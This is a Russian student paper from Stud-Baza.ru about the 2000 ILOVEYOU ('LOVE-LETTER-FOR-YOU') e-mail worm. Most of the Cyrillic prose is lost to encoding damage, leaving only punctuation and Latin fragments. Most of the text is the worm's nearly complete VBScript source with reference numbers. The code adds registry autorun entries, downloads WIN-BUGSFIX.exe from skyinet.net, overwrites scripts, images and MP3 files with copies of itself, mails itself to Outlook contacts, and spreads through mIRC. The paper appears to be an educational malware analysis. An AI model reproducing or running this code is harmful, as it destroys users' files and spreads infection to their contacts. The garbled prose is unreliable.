,,,
ܻ
I LOVE YOU
(LOVE LETTER FOR YOU). .
.
I III .
. .
.
Internet. , , .. Internet, . , , .
, Internet. . , . , , , . - . , , . , .
, , . , , , ( , ), . , . MS Windows 98 .
. , .
- , MS Office, MS Outlook, mIRC32 MS Windows. , AVP . , www.viruslist.com , , - 2000 80% Internet- Internet-, 15% - MS Word 5% - IRC. , 蠠 . BIOS , . Visual Basic, Java, MS Word, Excel, Access.
MS Office 97 MS Windows 98 Visual Basic Java . ( ) .
Melissa. Internet, ! Melissa, , Timofonica, , . 2000 25 ! !
, , Internet, .
(10 . ) I LOVE YOU (LOVE LETTER FOR YOU).
-
I LOVE YOU (LOVE LETTER FOR YOU).
I LOVE YOU Internet , Visual Basic MS Windows 98 ( Visual Basic MS Windows 95). , . , , . Internet , !
I LOVE YOU ( ) I LOVE YOU LOVE LETTER FOR YOU.TXT.VBS., . MS Outlook .
. ( ) MS Outlook mIRC. , , , , , . - , . , .
, Visual Basic, MS Windows. , . LOVE-LETTER_FOR_YOU.TXT.VBS, Visual Basic, LOVE-LETTER_FOR_YOU.TXT, , . MS Windows .
[1].
[3] .
, [4].
WIN, SYSTEM TEMP [5]. WIN Win32.DLL.VBS, SYSTEM MSKernel32.vbs LOVE-LETTER-FOR-YOU.TXT.VBS [6].
Windows , Windows.
:, :[7]. , WIN-BUGSFIX.EXE :.
SYSTEM WinFAT32.exe 1-4 [8]. , ( ) www.skyinet.net MS Internet Explorer. WIN-BUGSFIX.exe [9].
. .
, Windows , Windows [10] MS Internet Explorer about:blank.
, .
. [11], :
- .VBS .VBE , ;
- .JS; .JSE; .CSS; .WSH; .SCT; .HTA .VBS. .
- .JPG .JPE .VBS. .
- .MP2; .MP3 , .VBS, Hidden.
. ( ) , . . .COM; .EXE; .DLL;.INI ..
, Internet.
mIRC32, - script.ini [12]. , mIRC, mIRC . . , 堠 LOVE-LETTER-FOR-YOU.HTM [13]. .
( ) , , Microsoft Outlook Express [14].
Outlook [15], [16].
, [17], [18] . Outlook .
.
, .
, , , , Internet. .
? , . . , . , . : 10000 ? 1$ .
, -?
1. - , . . .
2. Windows . . - Windows, , .
3. . AVP . 1.32 Internet.
LOVE-LETTER-FOR-YOU ( I LOVE YOU) .
rem barok -loveletter(vbe) ,
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines -
On Error Resume Next [1]
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject") . [2]
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll ࠠ [3]
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") ,
if (rr>=1) then [4]
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" .
end if
Set dirwin = fso.GetSpecialFolder(0) : WIN; [5]
Set dirsystem = fso.GetSpecialFolder(1) SYSTEM;
Set dirtemp = fso.GetSpecialFolder(2) TEMP;
Set c = fso.GetFile(WScript.ScriptFullName) ;
c.Copy(dirsystem&"MSKernel32.vbs") ; SYSTEM ࠠ [6]
c.Copy(dirwin&"Win32DLL.vbs") ; WIN
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") ; SYSTEM
regruns() ; Windows
html() ; HTML
spreadtoemail() ;
listadriv() ;
end sub
==================== WINDOWS================
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWin32DLL",dirwin&"Win32DLL.vbs"
, WINDOWS
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory")
if (downread="") then Download Directory
downread="c:" : , -
end if C: [7]
if (fileexist(dirsystem&"WinFAT32.exe")=1) then WinFAT32.exe [8]
Randomize 1 - 4
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
WinFAT32.exe http://www.skyinet.net/ Microsoft Internet Explorer ( ). WIN-BUGSFIX.exe. [9]
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank"
WIN-BUGSFIX.exe Download ( C: ) Windows Microsoft Internet Explorer about:blank [10]
end if
end sub
==================== ================
----------------- ------------
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
---------------- ------------
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path) [11]
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true) .VBS .VBE, .
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then .JS ; .JSE ; .CSS ; .WSH ; .SCT ;
set ap=fso.OpenTextFile(f1.path,2,true) .HTA,
ap.write vbscopy .VBS
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path) .
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true) .JPG ; .JPE , .VBS
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs") .
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs") .MP2 ; .MP3 , ,
mp3.write vbscopy .VBS
mp3.close
set att=fso.GetFile(f1.path) .MP2 .MP3 Hidden
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then mIRC32 ( )
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then script.ini [12]
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
----------- mIRC32 (script.ini)--------------
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM" HTM ࠠ [13]
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
-------- -----------
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
------------- -----------
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec) .
On Error Resume Next [14]
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
================= =============
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI") ꠠ Outlook Express.[15]
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x) [16]
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
if (regad="") then
set male=out.CreateItem(0) ,
male.Recipients.Add(malead) . [17]
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs") [18]
male.Send
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
else ,
regedit.RegWrite HKEY_CURRENT_USERSoftwareMicrosoftWAB&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
|
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="
""&vbcrlf& _
""&vbcrlf& _
"-?HEAD>
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"
This HTML file need ActiveX Control-?p>
To Enable to read this HTML file
-
Please press #-#YES#-# button to Enable
ActiveX-?p>"&vbcrlf& _
"-?CENTER>
"-?BODY>-?HTML>"&vbcrlf& _
"
Copyright (c) 2024 Stud-Baza.ru , , , .